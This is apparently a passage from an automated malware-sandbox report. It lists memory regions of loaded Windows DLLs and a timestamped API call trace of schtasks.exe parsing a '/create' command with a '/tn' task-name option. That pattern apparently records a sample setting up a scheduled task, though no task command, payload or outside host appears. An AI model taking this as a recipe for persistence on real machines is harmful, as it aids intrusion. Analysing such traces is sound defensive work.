"\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1998 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1999 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2000 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2001 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2002 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2003 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2004 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2005 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2006 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2007 start_va = 0x200000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2008 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2009 start_va = 0x410000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 2010 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2011 start_va = 0x510000 end_va = 0x697fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 2012 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2013 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2014 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2015 start_va = 0x6a0000 end_va = 0x820fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 2016 start_va = 0x830000 end_va = 0x1c2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 2017 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2018 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2019 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2020 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2021 start_va = 0x1c30000 end_va = 0x1efefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2022 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2023 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2024 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2025 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2026 start_va = 0x1f00000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 2027 start_va = 0x1f00000 end_va = 0x1fdefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 2028 start_va = 0x1fe0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 2029 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2030 start_va = 0x21a0000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 2031 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2032 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2033 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2034 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2035 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2036 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2037 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2038 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 108 os_tid = 0xf10 [0061.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ffdc0 | out: lpSystemTimeAsFileTime=0x1ffdc0*(dwLowDateTime=0x4dd3b7e0, dwHighDateTime=0x1d9eb0c)) [0061.555] GetCurrentProcessId () returned 0xf0c [0061.555] GetCurrentThreadId () returned 0xf10 [0061.555] GetTickCount () returned 0x1764feb [0061.555] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1ffdc8 | out: lpPerformanceCount=0x1ffdc8*=2486803864876) returned 1 [0061.556] GetModuleHandleW (lpModuleName=0x0) returned 0xffe10000 [0061.556] __set_app_type (_Type=0x1) [0061.556] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe3972c) returned 0x0 [0061.556] __wgetmainargs (in: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248, _DoWildCard=0, _StartInfo=0xffe5125c | out: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248) returned 0 [0061.557] _onexit (_Func=0xffe42ab0) returned 0xffe42ab0 [0061.557] _onexit (_Func=0xffe42ac4) returned 0xffe42ac4 [0061.557] _onexit (_Func=0xffe42afc) returned 0xffe42afc [0061.557] _onexit (_Func=0xffe42b58) returned 0xffe42b58 [0061.557] _onexit (_Func=0xffe42b80) returned 0xffe42b80 [0061.557] _onexit (_Func=0xffe42ba8) returned 0xffe42ba8 [0061.557] _onexit (_Func=0xffe42bd0) returned 0xffe42bd0 [0061.557] _onexit (_Func=0xffe42bf8) returned 0xffe42bf8 [0061.558] _onexit (_Func=0xffe42c20) returned 0xffe42c20 [0061.558] _onexit (_Func=0xffe42c48) returned 0xffe42c48 [0061.558] _onexit (_Func=0xffe42c70) returned 0xffe42c70 [0061.558] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.558] WinSqmIsOptedIn () returned 0x0 [0061.558] GetProcessHeap () returned 0x310000 [0061.558] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bab0 [0061.558] SetLastError (dwErrCode=0x0) [0061.559] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0061.559] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0061.559] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0061.559] VerifyVersionInfoW (in: lpVersionInformation=0x1ff580, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1ff580) returned 1 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bad0 [0061.559] lstrlenW (lpString="") returned 0 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x2) returned 0x32baf0 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x3259f0 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb10 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325a20 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325a50 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325a80 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325ab0 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb30 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325ae0 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325b10 [0061.559] GetProcessHeap () returned 0x310000 [0061.559] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325b40 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325b70 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb50 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325ba0 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325bd0 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c00 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c30 [0061.560] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0061.560] SetLastError (dwErrCode=0x0) [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c60 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c90 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325cc0 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325cf0 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325d20 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb70 [0061.560] _memicmp (_Buf1=0x32bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.560] GetProcessHeap () returned 0x310000 [0061.560] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x208) returned 0x32bd10 [0061.561] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0061.561] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0061.563] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0061.563] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0061.564] GetProcessHeap () returned 0x310000 [0061.564] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x74e) returned 0x32c2e0 [0061.565] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0061.565] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x32c2e0 | out: lpData=0x32c2e0) returned 1 [0061.565] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0061.565] VerQueryValueW (in: pBlock=0x32c2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ff668, puLen=0x1ff6d0 | out: lplpBuffer=0x1ff668*=0x32c67c, puLen=0x1ff6d0) returned 1 [0061.567] _memicmp (_Buf1=0x32bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.567] _vsnwprintf (in: _Buffer=0x32bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1ff648 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0061.567] VerQueryValueW (in: pBlock=0x32c2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1ff6d8, puLen=0x1ff6c8 | out: lplpBuffer=0x1ff6d8*=0x32c4a8, puLen=0x1ff6c8) returned 1 [0061.567] lstrlenW (lpString="schtasks.exe") returned 12 [0061.567] lstrlenW (lpString="schtasks.exe") returned 12 [0061.567] lstrlenW (lpString=".EXE") returned 4 [0061.567] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0061.568] lstrlenW (lpString="schtasks.exe") returned 12 [0061.568] lstrlenW (lpString=".EXE") returned 4 [0061.568] _memicmp (_Buf1=0x32bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.568] lstrlenW (lpString="schtasks") returned 8 [0061.568] GetProcessHeap () returned 0x310000 [0061.568] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325e10 [0061.568] GetProcessHeap () returned 0x310000 [0061.568] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cbf0 [0061.568] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc20 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc50 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb90 [0061.569] _memicmp (_Buf1=0x32bb90, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xa0) returned 0x32c110 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc80 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ccb0 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cce0 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bbb0 [0061.569] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x200) returned 0x32d3c0 [0061.569] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0061.569] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x30) returned 0x327b80 [0061.569] _vsnwprintf (in: _Buffer=0x32c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1ff648 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0061.569] GetProcessHeap () returned 0x310000 [0061.569] GetProcessHeap () returned 0x310000 [0061.570] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0) returned 1 [0061.570] GetProcessHeap () returned 0x310000 [0061.570] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c2e0) returned 0x74e [0061.570] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0 | out: hHeap=0x310000) returned 1 [0061.570] SetLastError (dwErrCode=0x0) [0061.571] GetThreadLocale () returned 0x409 [0061.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.571] lstrlenW (lpString="?") returned 1 [0061.571] GetThreadLocale () returned 0x409 [0061.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.571] lstrlenW (lpString="create") returned 6 [0061.571] GetThreadLocale () returned 0x409 [0061.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.571] lstrlenW (lpString="delete") returned 6 [0061.571] GetThreadLocale () returned 0x409 [0061.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.571] lstrlenW (lpString="query") returned 5 [0061.571] GetThreadLocale () returned 0x409 [0061.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.571] lstrlenW (lpString="change") returned 6 [0061.571] GetThreadLocale () returned 0x409 [0061.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.571] lstrlenW (lpString="run") returned 3 [0061.571] GetThreadLocale () returned 0x409 [0061.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.571] lstrlenW (lpString="end") returned 3 [0061.571] GetThreadLocale () returned 0x409 [0061.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.571] lstrlenW (lpString="showsid") returned 7 [0061.571] GetThreadLocale () returned 0x409 [0061.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.571] SetLastError (dwErrCode=0x0) [0061.571] SetLastError (dwErrCode=0x0) [0061.572] lstrlenW (lpString="/create") returned 7 [0061.572] lstrlenW (lpString="-/") returned 2 [0061.572] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.572] lstrlenW (lpString="?") returned 1 [0061.572] lstrlenW (lpString="?") returned 1 [0061.572] GetProcessHeap () returned 0x310000 [0061.572] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32c1c0 [0061.572] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.572] GetProcessHeap () returned 0x310000 [0061.572] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xa) returned 0x32c2e0 [0061.572] lstrlenW (lpString="create") returned 6 [0061.572] GetProcessHeap () returned 0x310000 [0061.572] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32c300 [0061.572] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.572] GetProcessHeap () returned 0x310000 [0061.572] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x14) returned 0x32c320 [0061.572] _vsnwprintf (in: _Buffer=0x32c2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|?|") returned 3 [0061.572] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|create|") returned 8 [0061.572] lstrlenW (lpString="|?|") returned 3 [0061.572] lstrlenW (lpString="|create|") returned 8 [0061.572] SetLastError (dwErrCode=0x490) [0061.572] lstrlenW (lpString="create") returned 6 [0061.572] lstrlenW (lpString="create") returned 6 [0061.572] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.572] GetProcessHeap () returned 0x310000 [0061.572] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0) returned 1 [0061.572] GetProcessHeap () returned 0x310000 [0061.572] RtlReAllocateHeap (Heap=0x310000, Flags=0xc, Ptr=0x32c2e0, Size=0x14) returned 0x32c340 [0061.572] lstrlenW (lpString="create") returned 6 [0061.572] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.573] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|create|") returned 8 [0061.573] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|create|") returned 8 [0061.573] lstrlenW (lpString="|create|") returned 8 [0061.573] lstrlenW (lpString="|create|") returned 8 [0061.573] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0061.573] SetLastError (dwErrCode=0x0) [0061.573] SetLastError (dwErrCode=0x0) [0061.573] SetLastError (dwErrCode=0x0) [0061.573] lstrlenW (lpString="/tn") returned 3 [0061.573] lstrlenW (lpString="-/") returned 2 [0061.573] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.573] lstrlenW (lpString="?") returned 1 [0061.573] lstrlenW (lpString="?") returned 1 [0061.573] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.573] lstrlenW (lpString="tn") returned 2 [0061.573] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.573] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|?|") returned 3 [0061.573] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tn|") returned 4 [0061.573] lstrlenW (lpString="|?|") returned 3 [0061.573] lstrlenW (lpString="|tn|") returned 4 [0061.573] SetLastError (dwErrCode=0x490) [0061.573] lstrlenW (lpString="create") returned 6 [0061.573] lstrlenW (lpString="create") returned 6 [0061.573] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.573] lstrlenW (lpString="tn") returned 2 [0061.573] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.573] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|create|") returned 8 [0061.573] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tn|") returned 4 [0061.573] lstrlenW (lpString="|create|") returned 8 [0061.573] lstrlenW (lpString="|tn|") returned 4 [0061.573] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0061.574] SetLastError (dwErrCode=0x490) [0061.574] lstrlenW (lpString="delete") returned 6 [0061.574] lstrlenW (lpString="delete") returned 6 [0061.574] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.574] lstrlenW (lpString="tn") returned 2 [0061.574] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.574] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|delete|") returned 8 [0061.574] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tn|") returned 4 [0061.574] lstrlenW (lpString="|delete|") returned 8 [0061.574] lstrlenW (lpString="|tn|") returned 4 [0061.574] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0061.574] SetLastError (dwErrCode=0x490) [0061.574] lstrlenW (lpString="query") returned 5 [0061.574] lstrlenW (lpString="query") returned 5 [0061.574] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.574] lstrlenW (lpString="tn") returned 2 [0061.574] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 